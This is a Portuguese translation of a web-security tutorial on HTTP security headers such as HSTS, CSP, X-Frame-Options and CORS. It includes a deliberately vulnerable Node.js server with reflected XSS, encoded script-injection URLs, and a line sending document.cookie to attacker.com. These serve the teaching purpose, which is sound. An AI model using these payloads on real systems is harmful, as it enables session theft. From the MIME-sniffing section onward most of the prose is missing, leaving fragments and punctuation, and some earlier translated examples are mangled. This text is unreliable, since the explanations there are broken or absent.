
Esta é a terceira parte da série de segurança da Web: a segunda parte foi "
Segurança na Web: Uma Introdução ao HTTP "
, a primeira "
Como os Navegadores Funcionam - Uma Introdução à Segurança de Aplicativos da Web ".
Como vimos nas partes anteriores desta série, os servidores podem enviar cabeçalhos HTTP para fornecer ao cliente metadados adicionais na resposta, além de enviar o conteúdo solicitado pelo cliente. Os clientes têm permissão para especificar como ler, armazenar em cache ou proteger um recurso específico.
Agora, os navegadores implementaram uma gama muito ampla de cabeçalhos relacionados à segurança para dificultar a exploração de vulnerabilidades por invasores. Neste artigo, tentaremos discutir cada um deles, explicando como são usados, quais ataques eles impedem e um pouco de histórico para cada cabeçalho.

O post foi escrito com o apoio da EDISON Software, que luta pela honra dos programadores russos e compartilha em detalhes sua experiência no desenvolvimento de produtos de software complexos .
Segurança de transporte restrito HTTP (HSTS)
Desde o final de 2012, tornou-se mais fácil para os apoiadores do HTTPS Everywhere fazer com que o cliente sempre use a versão segura do protocolo HTTP, graças ao Strict Transport Security: a linha muito simples
Strict-Transport-Security: max-age=3600
informará o navegador que dentro de uma hora (3600 segundos) ele não deve interagir com o aplicativo por meio de protocolos inseguros.
Quando um usuário tenta acessar um aplicativo protegido pelo HSTS via HTTP, o navegador simplesmente se recusa a ir além, convertendo automaticamente os URLs
http://
em
https://
.
Você pode verificar isso localmente com o código
github.com/odino/wasec/tree/master/hsts . Você precisará seguir as instruções no README (inclui a instalação de um certificado SSL confiável para
localhost
no seu computador usando a ferramenta
mkcert ) e, em seguida, tente abrir
https://localhost:7889
.
Neste exemplo, existem 2 servidores: HTTPS, que está atendendo no
7889
e HTTP, na porta
7888
. Quando você acessa um servidor HTTPS, ele sempre tenta redirecioná-lo para uma versão HTTP que funcionará porque o HSTS não está disponível no servidor HTTPS. Se você adicionar o parâmetro
hsts=on
à sua URL, o navegador converterá forçosamente o link para a versão
https://
. Como o servidor no
7888
só pode ser acessado pelo protocolo http, você acabará vendo uma página parecida com esta.

Você pode estar interessado em saber o que acontece quando um usuário visita seu site pela primeira vez, porque a política HSTS não é predefinida: os invasores podem enganar o usuário na versão
http://
do seu site e realizar um ataque lá, para que ainda haja problemas. . Esse é um problema sério, porque o HSTS é um mecanismo de confiança no primeiro uso. Ele tenta garantir que, depois de visitar o site, o navegador saiba que o HTTPS deve ser usado nas interações subsequentes.
Uma solução alternativa para isso poderia ser a manutenção de um enorme banco de dados de sites compatíveis com HSTS, o que o Chrome faz por meio do
hstspreload.org . Você deve primeiro estabelecer sua política e, em seguida, visitar o site e verificar se ele pode ser adicionado ao banco de dados. Por exemplo, podemos ver que o Facebook está na lista.

Ao enviar seu site para esta lista, você pode informar com antecedência aos navegadores que seu site usa HSTS, para que até a primeira interação entre clientes e seu servidor seja realizada por um canal seguro. Mas é caro, pois você realmente precisa participar do HSTS. Se, por qualquer motivo, você desejar que seu site seja removido da lista, essa não é uma tarefa fácil para os provedores de navegadores:
Lembre-se de que a inclusão na lista de pré-carregamento não pode ser facilmente cancelada.
Os domínios podem ser excluídos, mas leva meses para que o Chrome seja atualizado para os usuários, e não podemos garantir outros navegadores. Não solicite a inclusão na lista se não tiver certeza de que pode oferecer suporte a HTTPS para todo o site e todos os seus subdomínios por um longo tempo.
- Fonte: https://hstspreload.org/
Isso ocorre porque o provedor não pode garantir que todos os usuários usem a versão mais recente do navegador e que o site será removido da lista. Pense com cuidado e tome uma decisão com base no seu grau de confiança no HSTS e na sua capacidade de apoiá-lo a longo prazo.
Fixação de chave pública HTTP (HPKP)
A Fixação de Chave Pública HTTP é um mecanismo que nos permite dizer ao navegador quais certificados SSL esperar ao se conectar aos nossos servidores. Esse cabeçalho usa o mecanismo de confiança no primeiro uso, como o HSTS, e significa que, depois que o cliente se conectar ao nosso servidor, ele armazenará informações de certificado para interações subseqüentes. Se, em algum momento, o cliente descobrir que o servidor está usando um certificado diferente, ele se recusará educadamente a se conectar, o que dificultará a execução de ataques "man in the middle" (MITM).
Veja como é a política do HPKP:
Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect"
O cabeçalho anuncia quais certificados o servidor usará (nesse caso, dois deles) usando o hash do certificado e inclui informações adicionais, como o tempo de vida desta diretiva (
max-age = 3600
) e vários outros detalhes. Infelizmente, não faz sentido ir mais fundo para entender o que podemos fazer para proteger a chave pública,
porque o Chrome não aprova esse recurso - um sinal de que sua adoção está fadada ao fracasso.
A solução do Chrome não é irracional, é apenas uma consequência dos riscos associados à segurança da chave pública. Se você perder seu certificado ou simplesmente cometer um erro durante o teste, seu site ficará indisponível para os usuários que o visitaram anteriormente (durante o período de validade da diretiva de
max-age
, que geralmente é semanas ou meses).
Como resultado dessas conseqüências potencialmente catastróficas, a adoção do HPKP foi extremamente baixa e houve momentos
em que grandes sites não estavam disponíveis devido à configuração incorreta . Diante de tudo isso, o Chrome decidiu que os usuários estariam melhor sem a proteção oferecida pelo HPKP, e
os pesquisadores de segurança não se opõem completamente a essa decisão .
Expect-CT
Enquanto o HPKP estava reprovando, um novo cabeçalho apareceu para evitar certificados SSL fraudulentos para clientes:
Expect-CT
.
O objetivo desse cabeçalho é informar ao navegador que ele precisa executar "verificações em segundo plano" adicionais para verificar se o certificado é autêntico: quando o servidor usa o cabeçalho
Expect-CT
, basicamente solicita ao cliente que verifique se os certificados usados estão nos logs de certificado de transparência aberta (CT).
Iniciativa de transparência de certificado são os esforços do Google para garantir:
Uma plataforma aberta para monitorar e auditar certificados SSL quase em tempo real.
Em particular, a transparência do certificado permite detectar certificados SSL que foram emitidos erroneamente por uma autoridade de certificação ou obtidos maliciosamente de outra autoridade de certificação sem falhas. Também permite identificar autoridades de certificação que cometeram fraude e emitem certificados com códigos maliciosos.
- Fonte: https://www.certificate-transparency.org/
O cabeçalho assume este formato:
Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
Neste exemplo, o servidor pergunta ao navegador:
- habilitar a verificação CT para a aplicação atual por um período de 1 hora (3600 segundos)
enforce
impor esta política e negar acesso ao aplicativo em caso de violação- envie um relatório para o URL especificado em caso de violação
O objetivo da iniciativa de Transparência de Certificados é detectar certificados maliciosos ou emitidos erroneamente (e autoridades de certificação fraudulentas) antes, de forma mais rápida e precisa do que qualquer outro método usado anteriormente.
Ao ativar o uso do cabeçalho
Expect-CT
, você pode tomar esta iniciativa para melhorar o estado de segurança do seu aplicativo.
Opções de quadro X
Imagine que você vê uma página da web como esta

Assim que você clica no link, entende que todo o dinheiro da sua conta bancária desapareceu. O que aconteceu
Você foi vítima de um ataque de clickjacking.
Um invasor o direcionou para o site dele, que exibe um link de clique muito atraente. Infelizmente, ele também incorporou a página iframe com
your-bank.com/transfer?amount=-1&[attacker@gmail.com]
, mas a ocultou definindo a transparência como 0%. Pensamos que clicamos na página original, tentando ganhar um hamer completamente novo, mas o navegador corrigiu um clique no iframe, um clique perigoso que confirmou a transferência de dinheiro.
A maioria dos sistemas bancários exige que você forneça um PIN único para confirmar as transações, mas seu banco não alcançou o tempo e todo o seu dinheiro foi perdido.
O exemplo é bastante extremo, mas deve fazer você entender quais podem ser as consequências de um
ataque usando o clickjacking . O usuário pretende clicar em um link específico, enquanto o navegador fará um clique na página "invisível", que foi incorporada como um quadro.
Eu incluí um exemplo dessa vulnerabilidade no
github.com/odino/wasec/tree/master/clickjacking . Se você executar o exemplo e tentar clicar no link "atraente", verá que o clique real é interceptado pelo iframe, o que o torna não transparente, tornando mais fácil a detecção do problema. Um exemplo deve estar disponível em
http://localhost:7888
.

Felizmente, os navegadores encontraram uma solução simples para esse problema:
X-Frame-Options
(XFO), que permite que você decida se seu aplicativo pode ser incorporado como iframes em sites externos. Popularizado pelo Internet Explorer 8, o XFO foi introduzido pela primeira vez em 2009 e ainda é suportado por todos os principais navegadores.
Funciona assim: quando o navegador vê um iframe, ele o carrega e verifica se seu XFO permite que ele seja incluído na página atual antes de renderizá-lo.

Valores suportados:
DENY
: esta página da web não pode ser incorporada em nenhum lugar. Esse é o nível mais alto de proteção, pois não permite que ninguém incorpore nosso conteúdo.SAMEORIGIN
: Somente páginas do mesmo domínio que o atual podem inserir esta página. Isso significa que example.com/embedder
pode carregar example.com/embedded
se sua política estiver definida como SAMEORIGIN
. Essa é uma política mais calma que permite que os proprietários de um site específico incorporem suas próprias páginas em seu aplicativo.ALLOW-FROM uri
: anexo permitido a partir do URI especificado. Podemos, por exemplo, permitir que um site externo autorizado incorpore nosso conteúdo usando ALLOW-FROM https://external.com
. Isso geralmente é usado quando você permite que desenvolvedores de terceiros incorporem seu conteúdo por meio de um iframe.
Um exemplo de resposta HTTP que inclui a política XFO mais estrita possível é a seguinte:
HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ...
Para demonstrar como os navegadores se comportam quando o XFO está ativado, podemos simplesmente alterar nosso URL de exemplo para
http://localhost:7888 /?xfo=on
. O parâmetro
xfo=on
diz ao servidor para incluir
X-Frame-Options: deny
na resposta, e podemos ver como o navegador restringe o acesso ao iframe:

O XFO foi considerado a melhor maneira de impedir ataques baseados em cliques com base em quadros até que, após alguns anos, outro título entrou em jogo - Política de Segurança de Conteúdo ou CSP, abreviado.
Política de Segurança de Conteúdo (CSP)
O cabeçalho
Content-Security-Policy
, CSP abreviado, fornece utilitários de última geração para evitar uma variedade de ataques, desde XSS (scripts entre sites) até interceptação de cliques (click-jacking).
Para entender como o CSP nos ajuda, primeiro você precisa pensar em um vetor de ataque. Digamos que acabamos de criar nosso próprio mecanismo de pesquisa do Google, onde há um campo de entrada simples com um botão de envio.

Esta aplicação web não faz nada de mágico. É simples
- exibe formulário
- permite ao usuário pesquisar
- exibe os resultados da pesquisa junto com a palavra-chave pesquisada pelo usuário
Quando realizamos uma pesquisa simples, o aplicativo retorna o seguinte:

Incrível Nosso aplicativo entendeu incrivelmente nossa pesquisa e encontrou uma imagem semelhante. Se nos aprofundarmos no código fonte disponível em
github.com/odino/wasec/tree/master/xss , em breve perceberemos que o aplicativo apresenta um problema de segurança, pois qualquer palavra-chave pesquisada por um usuário é impressa diretamente em HTML:
var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html>
Esta é uma consequência desagradável. Um invasor pode criar um link específico que executa JavaScript arbitrário no navegador da vítima.

Se você tiver tempo e paciência para executar o exemplo localmente, poderá entender rapidamente todo o poder do CSP. Adicionei um parâmetro de string de consulta que inclui o CSP, para que possamos tentar mudar para um URL malicioso com o CSP ativado:
localhost : 7888 /? search =% 3Cscript + tipo% 3D 3D% 22text% 2Fjavascript% 22% 3 Alerta% 28% 27Você% 20 tem% 20be% 20PWNED% 27% 29% 3C% 2Fscript% 3E & csp = ativado

Como você pode ver no exemplo acima, informamos ao navegador que nossa política de CSP permite apenas scripts incluídos na mesma fonte da URL atual, que podemos verificar facilmente acessando a URL usando curl e observando o cabeçalho de resposta:
$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive
Como o ataque XSS foi realizado usando um script incorporado (um script incorporado diretamente no conteúdo HTML), o navegador recusou educadamente executá-lo, garantindo a segurança de nosso usuário. Imagine que, em vez de apenas exibir uma caixa de diálogo de aviso, um invasor configure um redirecionamento para seu próprio domínio por meio de algum código JavaScript, que pode ser assim:
window.location = `attacker.com/${document.cookie}`
Eles podem roubar todos os cookies do usuário, que podem conter dados muito confidenciais (mais sobre isso no próximo artigo).
Até agora, deve ficar claro como o CSP nos ajuda a impedir vários ataques a aplicativos da web. Você define uma política e o navegador segue rigorosamente a mesma, recusando-se a executar recursos que violem a política.
Uma opção interessante para o CSP é o modo somente relatório. Em vez de usar o cabeçalho
Content-Security-Policy
, você pode primeiro verificar o efeito do CSP no seu site, dizendo ao navegador para simplesmente relatar erros sem bloquear a execução do script, etc. Usando o cabeçalho
Content-Security-Policy-Report-Only
.
Os relatórios permitirão entender quais alterações críticas podem ser causadas pela política de CSP que você deseja implantar e corrigi-las de acordo. Podemos até fornecer o URL do relatório e o navegador nos enviará o relatório. Aqui está um exemplo completo de política somente para relatório:
Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector
As próprias políticas de CSP podem ser um pouco complicadas, por exemplo, no exemplo a seguir:
Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
Esta política define as seguintes regras:
- scripts executáveis (por exemplo, JavaScript) podem ser baixados apenas de
scripts.example.com
- As imagens podem ser baixadas de qualquer fonte (
img-src: *
) - o conteúdo do vídeo ou do áudio pode ser baixado de duas fontes:
medias.example.com
e medias.legacy.example.com
Como você pode ver, pode haver muitos políticos e, se queremos oferecer a máxima proteção aos nossos usuários, esse pode ser um processo bastante tedioso. No entanto, escrever uma política abrangente de CSP é um passo importante para adicionar uma camada extra de segurança aos nossos aplicativos da web.
Para mais informações sobre CSP, eu recomendaria
developer.mozilla.org/en-US/docs/Web/HTTP/CSP .
Proteção X-XSS
Embora substituído pelo CSP, o cabeçalho
X-XSS-Protection
fornece o mesmo tipo de proteção. Esse cabeçalho é usado para mitigar ataques XSS em navegadores mais antigos que não oferecem suporte completo ao CSP. Este cabeçalho não é suportado pelo Firefox.
Sua sintaxe é muito semelhante ao que acabamos de ver:
X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
XSS refletido é o tipo mais comum de ataque quando o texto digitado é impresso pelo servidor sem nenhuma verificação, e é aí que esse cabeçalho realmente resolve. Se você quiser ver por si mesmo, recomendo tentar o exemplo em
github.com/odino/wasec/tree/master/xss , pois adicionando
xss=on
ao URL, ele mostra o que o navegador faz quando a proteção XSS está ativada. . Se inserirmos uma string maliciosa no campo de pesquisa, como, por exemplo, o navegador se recusa educadamente a executar o script e explica o motivo de sua decisão:
The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.
Ainda mais interessante é o comportamento padrão no Chrome quando uma política CSP ou XSS não é especificada em uma página da web. Um script que podemos testar adicionando o parâmetro
xss=off
ao nosso URL (
http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off
):

Surpreendentemente, o Chrome é cuidadoso o suficiente para impedir a renderização da página, dificultando a criação de XSS espelhado. Impressionante o quão longe os navegadores foram.
Política de recursos
Em julho de 2018, o pesquisador de segurança
Scott Helm postou uma
postagem de blog muito interessante detalhando o novo título de segurança:
Feature-Policy
.
Atualmente suportado por muito poucos navegadores (Chrome e Safari no momento da redação deste artigo), esse cabeçalho nos permite determinar se um recurso específico do navegador está ativado na página atual. Com sintaxe muito semelhante ao CSP, não devemos ter problemas para entender o significado das políticas de função, como as seguintes:
Feature-Policy: vibrate 'self'; push *; camera 'none'
Se tivermos todas as dúvidas sobre como essa política afeta a API do navegador, podemos simplesmente analisá-la:
vibrate 'self'
: permite que a página atual use a API de vibração e qualquer quadro no site atual.push *
: a página atual e qualquer quadro podem usar a API de notificação por pushcamera 'none'
: o acesso à API da câmera é negado nesta página e em todos os quadros
A política de recursos tem um pouco de história. Se o seu site permitir que os usuários tirem selfies ou gravem áudio, seria muito útil usar uma política que restrinja o acesso à API através da sua página em outros contextos.
Opções de tipo de conteúdo X
Às vezes, os recursos inteligentes do navegador acabam nos prejudicando em termos de segurança. Um exemplo excelente é o sniffing MIME, uma técnica popular no Internet Explorer.
MIME- — ( ) . ,
/awesome-picture.png
, (,
Content-Type: text/plain
). , .
, IE , MIME-: «» , , ,
Content-Type
, , , , .
-, , ,
/test.jpg
, JavaScript. , ? , HTML , , «», . , , , .
,
X-Content-Type-Options: nosniff
, MIME-: , , , . , , , .
Cross-Origin Resource Sharing (CORS)
JavaScript HTTP- . , AJAX-
example.com
example.com
.
, — cookie, . ,
win-a-hummer.com
, AJAX
your-bank.com
. - , HTTP- , , , .
AJAX , Cross Origin Resource Sharing (CORS), , .
, CORS, , , «» CORS.
, , ,
Access-Control-Allow-Origin
, , .
Access-Control-Allow-Origin: *
, , , URL-, ,
Access-Control-Allow-Origin: https://example.com
.
github.com/odino/wasec/tree/master/cors , , . , AJAX
test-cors
test-cors-2
. test-cors-2 CORS, , .
http://cors-test:7888/?cors=on

cors
URL, :

, , , , . , , . , , ,
my-bank.com/transfer?amount=1000&from=me&to=attacker.
!
,
GET
- , ,
POST
-? , , ,
http://cors-test:7888/?method=POST
:

POST
, , « ». ,
OPTIONS
, . , ,
POST
.
:
- CORS — . , , , .
- API,
GET
. , .
, -, , , CORS. , ,
example.com
,
example.com/_proxy/other.com
, ,
_proxy/other.com/*
,
other.com
.
, , CORS, MDN ,
developer.mozilla.org/en-US/docs/Web/HTTP/CORS .
X-Permitted-Cross-Domain-Policies
CORS,
X-Permitted-Cross-Domain-Policies
Adobe ( , Flash Acrobat).
, , . , Adobe
crossdomain.xml
, ,
X-Permitted-Cross-Domain-Policies
.
?
X-Permitted-Cross-Domain-Policies: none
, Flash.
Referrer-Policy
, , .
Referer
, . URL , .
, , . , .
Referer
. , , .
Referrer-Policy
, 2017 , , , URL-
Referer
.
,
Referrer-Policy
:
no-referrer
: Referer
origin
: https://example.com/private-page
https://example.com/
same-origin
: Referer
,
,
Referred-Policy
(
strict-origin
,
no-referrer-when-downgrade
. .), , , , . , ,
OWASP .
Origin
Referer
, , , .
Origin
, . -:
Origin
, .
, HTTP-, cURL, : c
url -H "Origin: example.com" api.example.com
origin ……
Origin
(
Referer
, ) .
securityheaders.com , -, , - , . , URL, .
facebook.com :

, , securityheaders.com — , .
HTTP : cookie
HTTP, , - , .
HTTP: .
, - HTTP , , , ( ) -: - , , « ». , cookie , .